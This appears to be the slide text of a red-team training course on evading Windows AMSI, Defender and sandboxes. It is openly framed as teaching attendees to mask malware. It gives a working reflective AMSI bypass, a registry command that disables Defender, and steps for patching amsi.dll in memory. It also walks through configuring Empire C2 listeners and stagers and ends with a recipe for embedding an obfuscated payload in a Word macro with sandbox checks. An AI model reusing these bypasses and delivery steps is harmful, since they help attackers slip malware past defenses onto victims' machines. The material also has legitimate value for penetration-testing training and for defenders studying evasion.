Introduction To AMSI Bypasses and Sandbox Evasion
Introduction To AMSI Bypasses and Sandbox Evasion
Introduction To AMSI Bypasses and Sandbox Evasion
JACOB KRASNOV
VIN C EN T ROSE
@bcsecurity1
1
Legal Stuff…So we don’t go to jail
Training is for informational and research
purposes only. We believe that ethical hacking,
information security and cyber security should be
familiar subjects to anyone using digital
information and computers. We believe that it is
impossible to defend yourself from hackers
without knowing how hacking is done. The
information provided by us is only for those who
are interested to learn about Ethical Hacking,
Security, Penetration Testing and malware
analysis.
Introduction 2
whoami
ANTHONY ROSE JACOB KRASNOV VINCENT ROSE
C01И HUBBLE HALCYON
◦ Co-founder, BC Security ◦ Co-founder, BC Security ◦ Security Researcher, BC Security
◦ Lead Researcher, Merculite Security ◦ BS in Astronautical Engineering, MBA ◦ BS in Computer Science
◦ MS in Electrical Engineering ◦ Red Team Lead ◦ Software Engineer
◦ Lockpicking Hobbyist ◦ Currently focused on embedded
system security
◦ Bluetooth & Wireless Security
Enthusiast
Introduction 3
Why are we here?
◦ How to mask your malware to avoid AMSI and Sandboxes
Introduction 4
Overview
◦ Antimalware Scan Interface (AMSI)
◦ Malware Triggering
◦ Empire
◦ Obfuscation Techniques
◦ Invoke-Obfuscation
◦ AMSI Bypasses
◦ Sandbox Evasion
◦ Put it all together
Introduction 5
Goals
◦ Introduce Microsoft’s Antimalware Scan
Interface (AMSI) and explain its importance
◦ Learn to analyze malware scripts before and
after execution
◦ Understand how obfuscate code to avoid AMSI
and Windows Defender
◦ Detect and avoid sandbox environments
Introduction 6
Expectations
We will teach you to…
◦ operate Empire
◦ obfuscate Powershell
◦ avoid AMSI and Sandboxes
Introduction 7
-h What is Malware?
8
Overview of the Evolution of Malware Obfuscation
◦ Obfuscation is the main means by which Malware
achieves survival You can’t find me…
I’m Obfuscated
What is Malware 9
The Early Days
The first virus to obfuscate itself was the Brain Virus in 1986
◦ Would display unchanged data from a different disk sector instead of the one it
had modified
What is Malware 10
Coming into Its Own
The Malware Arms Race continued
and by 1992 polymorphic virus
engines had been released
◦ Could be attached to non-
polymorphic viruses to make them
more effective
What is Malware 11
Coming into Its Own
AV wasn’t far behind and soon started
to include emulation code to sandbox
the malware
◦ There were evasion techniques but
we will talk about this later
By the 2000s malware had moved on
to so called metamorphic viruses
◦ Polymorphic viruses only change
their decryptor while metamorphic
change the code body as well
What is Malware 12
Going Fileless
Not really completely Fileless
◦ Usually requires some kind of initial script/executable to kick off infection
◦ Persistence methods may leave traces in places like the registry (e.g.,
Poweliks)
This created a big problem for AV as it has traditionally relied on
scanning files/executables
What is Malware 13
Antimalware Scan
Interface (AMSI)
14
What Is AMSI?
The Windows Antimalware Scan
Interface (AMSI) is a versatile interface
standard that allows your applications
and services to integrate with any
antimalware product that's present on
a machine. AMSI provides enhanced
malware protection for your end-users
and their data, applications, and
workloads.
AMSI 15
That’s Great But What Does that Mean?
◦ Evaluates commands at run time
◦ Handles multiple scripting languages (Powershell, JavaScript, VBA)
◦ Provides an API that is AV agnostic
◦ Identify fileless threats
AMSI 16
Data Flow
AMSI 17
One point of clarification (Powershell)
The code is evaluated when it is readable by the scripting engine
This means that:
becomes:
However:
AMSI 18
Malware Triggering
19
Types of Windows Mitigations
◦ Windows Defender
◦ Antimalware Scan Interface (AMSI)
◦ Control flow guard
◦ Data Execution Prevention (DEP)
◦ Randomized memory allocations
◦ Arbitrary code guard (ACG)
◦ Block child processes
◦ Simulated execution (SimExec)
◦ Valid stack integrity (StackPivot)
Malware Triggering 20
Flagged Malware
Malware Triggering 22
Windows Defender Logs
Get-WinEvent 'Microsoft-Windows-Windows Defender/Operational' -
MaxEvents 10 | Where-Object Id -eq 1116 | Format-List
Malware Triggering 23
Try Some Code Samples
1. Run Powershell ISE
2. Look in the sample folder
3. Try out samples 1-3
Malware Triggering 24
Building/Customizing
Your Malware
25
Don’t Do Too Much at Once
Prioritize what you want to complete
1. Get working base code first
◦ Empire, Metasploit, Etc
2. Customize Functions
3. Obfuscate Code
4. Test Against AV
Building/Customizing Malware 26
Disabling Windows Defender
New-ItemProperty -Path
"HKLM:\Software\policies\microsoft\windows defender" -name
disableantispyware -value 1 –Force
Restart computer/VM
Building/Customizing Malware 27
Empire Tutorial
28
What is Empire?
Post-exploitation framework built around Powershell
◦ Merger of Powershell Empire and Python EmPyre projects
◦ Runs on Python 2.6/2.7
◦ Encrypted C2 channel
◦ Adaptable modules
◦ .bat, .vbs, .dll
◦ Released at BSidesLV 2015
◦ No longer maintained as of Aug 2019
Empire 29
Why Go After Powershell?
◦ Full .NET access
◦ Direct access to Win32 API
◦ Operates in memory
◦ Installed by default in Windows
◦ Admins typically leave it enabled
Empire 30
How Empire is Deployed?
Relatively small payload (stager) that calls back to a listener
Empire 31
Empire Tutorial
https://github.com/BC-
SECURITY/Empire
Install our forked version (Do not use
version 2.5)
◦ sudo ./setup/install.sh
◦ sudo ./setup/reset.sh
Empire 32
Empire Tutorial
Splash page
◦Version running
(We are using a modified dev
version)
◦How many modules loaded
◦Active Listeners
◦Active Agents
Empire 33
Empire Tutorial
“Help” lists out all available commands
◦ Agents – Active payloads available
◦ Interact – Control a payload/host
◦ Preobfuscate – Obfuscates Powershell
module (not needed)
◦ Set – Modify payload settings
◦ Usemodule – Select Empire Module
◦ Uselistener – Select Listener
◦ Usestager – Select Empire stager (we will
be using macros)
Empire 34
Empire Tutorial
Setting up your listener
Empire 35
Empire Tutorial
Use edit to modify Listener info
◦“set Name LISTENERNAME”
◦“set Host YOURIPADDRESS”
◦“set Port PORTNUMBER”
◦“set Launcher powershell -nop
-sta –enc”
◦“execute”
Empire 36
Empire Tutorial
Usestager
◦Tailor the stager to what the target is
◦“Multi/Launcher”
◦ Useful for testing VM setups
Empire 37
Testing the Launcher
Setting the stager and listener
Empire 38
Enabling Windows Defender
New-ItemProperty -Path
"HKLM:\Software\policies\microsoft\windows defender" -name
disableantispyware -value 0 –Force
Restart computer/VM
Empire 39
Testing the Launcher
Setting the stager and listener
Outputs…
Empire 40
Test your Empire Payload
Build the stager
◦ Select “usestager multi/launcher”
◦ “info” to view settings
Empire 41
Test your Empire Payload
Final check on settings
◦ Obfuscation is False
◦ AMSIBypass is True
◦ Good to Go!
◦ “execute”
Empire 42
Test your Empire Payload
Final check on settings
◦ Obfuscation is False
◦ AMSIBypass is True
◦ Good to Go!
◦ “execute”
Empire 43
Test your Empire Payload
Empire 44
Empire Tutorial
Default Empire will not get past AMSI
◦ Obfuscation or changes are needed
◦ Default Empire will get you caught
Empire 45
Obfuscation Techniques
46
Randomized Capitalization
Powershell ignores capitalization
Obfuscation Techniques 47
Concatenation
AMSI is still heavily dependent upon signatures, simple
concatenation can circumvent most alerts
will be flagged
Obfuscation Techniques 48
Variable Insertion
Powershell recognizes $ as a special character in a string and will
fetch the associated variable.
We embedded into
Which gives us
Obfuscation Techniques 49
Format String
Powershell allows for the use of {} inside a string to allow for
variable insertion. This is an implicit reference to the format string
function.
will be flagged
But,
Returns…
Obfuscation Techniques 50
XOR || ⊕
Uses:
◦ Pseudorandom number generation
◦ Error detection
◦ Encryption/Decryption
◦ Reversable function
A B A XOR B
0 0 0
0 1 1
1 0 1
1 1 0
Obfuscation Techniques 51
Obfuscate the Samples
Using Samples 1-3 from the early exercise attempt to obfuscate
them so that they will run
Obfuscation Techniques 52
Hints
◦ Break large sections of code into smaller pieces
◦ Isolate fewer lines to determine what is being flagged
◦ Good place to start is looking for “AMSI”
Obfuscation Techniques 53
The Answers
Obfuscation Techniques 54
Invoke-Obfuscation
55
Invoke-Obfuscation
Install here
◦https://github.com/danielboha
nnon/Invoke-Obfuscation
◦“Start-up.ps1”
◦“Import-Module ./Invoke-
Obfuscation.psd1”
◦Run “Invoke-Obfuscation”
Obfuscation Techniques 56
Invoke-Obfuscation
Type “Tutorial” for high level
directions
◦ Extremely helpful for
learning/remembering the basics
Obfuscation Techniques 57
Invoke-Obfuscation
Example code
◦ Use Sample 4
◦ SET SCRIPTBLOCK…
Obfuscation Techniques 58
Invoke-Obfuscation
Token-layer Obfuscation
◦ Token\Variable (extremely useful for
masking variable names to AMSI)
◦ Token\All (if you are super lazy)
◦ This will get you caught
◦ Typically run whitespace last (2-3
times)
Obfuscation Techniques 59
What is Abstract Syntax Tree (AST)?
Abstract Syntax Tree (AST)
Obfuscation Techniques 60
Invoke-Obfuscation
Abstract Syntax Tree (AST)
◦ Changes structure of AST
◦ AST contains all parsed content in
Powershell code without having to
dive into text parsing (we want to
hide from this)
Obfuscation Techniques 61
Invoke-Obfuscation
Encoding
◦ Used to further mask the payload
by converting the format (e.g., Hex,
Binary, AES, etc)
◦ Beware: running too much encoding
will break the 8,191 character limit
Obfuscation Techniques 62
Invoke-Obfuscation
String
◦ Obfuscate Powershell code as a
string
◦ Breaks up the code with reversing
techniques and concatenation
Obfuscation Techniques 63
Invoke-Obfuscation
Compress
◦ Can be used in conjunction with
Encoding to reduce the overall
size of the payload.
Obfuscation Techniques 64
Invoke-Obfuscation
Launcher
◦ Not needed since Empire already
includes a launcher
Obfuscation Techniques 65
Invoke-Obfuscation
Order of operations
◦Mix it up to avoid detection
◦Example:
◦Token\String\1,2
◦Whitespace\1
◦Encoding\1
◦Compress\1
Obfuscation Techniques 66
Invoke-Obfuscation in Empire
Obfuscation Techniques 67
AMSI Bypasses
68
Why do we need this?
If our payload is already obfuscated enough to evade AMSI why
bother?
◦ Only the first part of the stager is obfuscated!
AMSI Bypasses 69
Why do we need this?
AMSI bypasses let us
load whatever future modules we
may want without issues
◦ Mimikatz, PSInject, Powerup
AMSI Bypasses 70
AMSI results
◦ AMSI_RESULT_CLEAN = 0
◦ AMSI_RESULT_NOT_DETECTED = 1
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
◦ AMSI_RESULT_DETECTED = 32768
AMSI Bypasses 71
Keep It Simple Stupid
AMSI Bypasses 72
Keep It Simple Stupid
AMSI Bypasses 73
Keep It Simple Stupid
AMSI Bypasses 74
Bypass 1: Reflective Bypass
Simplest Bypass that currently works
◦ $Ref=[REF].Assembly.GetType('System.Management.Automation.AmsiUtils');
◦ $Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE);
AMSI Bypasses 75
What Does it Do?
Using reflection we are exposing functions from AMSI
We are setting the AmsiInitField to True which source code shows
causes AMSI to return:
◦ AMSI_SCAN_RESULT_NOT_FOUND
AMSI.dll
AMSI Bypasses 76
Why does this work?
AMSI is loaded into the Powershell process at start up so it has the
same permission levels as the process the malware is in
AMSI Bypasses 77
Bypass 2: Patching AMSI.dll in Memory
More complicated bypass, but still allows AMSI to load
AMSI Bypasses 78
Bypass 2: Patching AMSI.dll in Memory
We use C# to export a few functions from kernel32 that allows to
identify where in memory amsi.dll has been loaded
AMSI Bypasses 79
Bypass 2: Patching AMSI.dll in Memory
We modify the memory permissions to ensure we have access
AMSI Bypasses 80
Bypass 2: Patching AMSI.dll in Memory
Modifies the return function to all always return a value of
RESULT_NOT_DETECTED
AMSI Bypasses 81
Why does this work?
AMSI.dll is loaded into the same memory space as Powershell.
This means that we have unrestricted access to the memory space
that AMSI runs in and can modify it however we please
Tells the function to return a clean result prior to actually scanning
AMSI Bypasses 82
AMSI Bypasses in Empire
Ensure that ObfuscateCommand
and AMSI Bypass both display
values
◦ “set Obfuscate True”
◦ “set ObfuscateCommand Token\String\1,1,2,
Token\Variable\1, Token\Whitespace\1,1,
Compress\1”
◦ “set AMSIBypass True”
AMSI Bypasses 83
Test time!
Re-enable Defender and run your Empire launcher
AMSI Bypasses 84
Sandbox Detection and
Evasion
85
What is a Sandbox?
◦ A software created environment that isolates
and limits the rights and accesses of a
process being executed
◦ An effective way of doing behavioral analysis
for AV
Sandbox Evasion 86
Who is using Sandboxes?
Sandbox Evasion 87
Automated Sandbox Malware analysis
As we talked about earlier, obfuscating
code to break signatures can be
relatively trivial
◦ AV would need an almost unlimited
number of signatures
Heavily obfuscated code can make it
almost impossible for human analysis to
be effective
Instead evaluate behavior
Sandbox Evasion 88
Sandbox Indicators
89
Sandbox Limitations
They use a lot of resources
which can be expensive
Sandbox Indicators 90
Sandbox Limitations
These limitations provide us with several means to try and detect or
evade them
◦ Password Protection
◦ Time Delays
◦ Auto open vs close
◦ Check for limited resources (small amount of ram, single core, etc.)
◦ Look for virtualization processes (sandboxie, VMWare tools)
Sandbox Indicators 91
Embedding Macros
92
Back to Empire
Usestager
◦Tailor the stager to what the target is
◦Our focus is Windows using a Macro (will be used later)
◦“Windows/macro”
Embedding Macros 93
Creating a Payload
◦Set stager and listener
◦Copy macro over to Word
Embedding Macros 94
Turning on Developer Options
Embedding Macros 95
Embedding the Macro
Open Word Document
Select Developer Options
Click on Macros
Embedding Macros 96
Embedding the Macro
Embedding Macros 97
Embedding the Macro
Drag and drop NewMacros from Modules to current Project
Embedding Macros 98
Evasion Techniques
99
When do we want to do this?
Before we do suspicious things such as…
◦ Starting a new process
◦ Reaching out to the internet
The checks could be suspicious themselves
◦ Sandbox Evasion is becoming more
prevalent
109
Put it all together
1. Build payload in Empire
◦ AMSI Bypass
◦ Obfuscation
2. Embed into Word Doc
◦ Verification
3. Add in Macro Checks to avoid “Sandbox”
4. (Optional) Test on host machine
111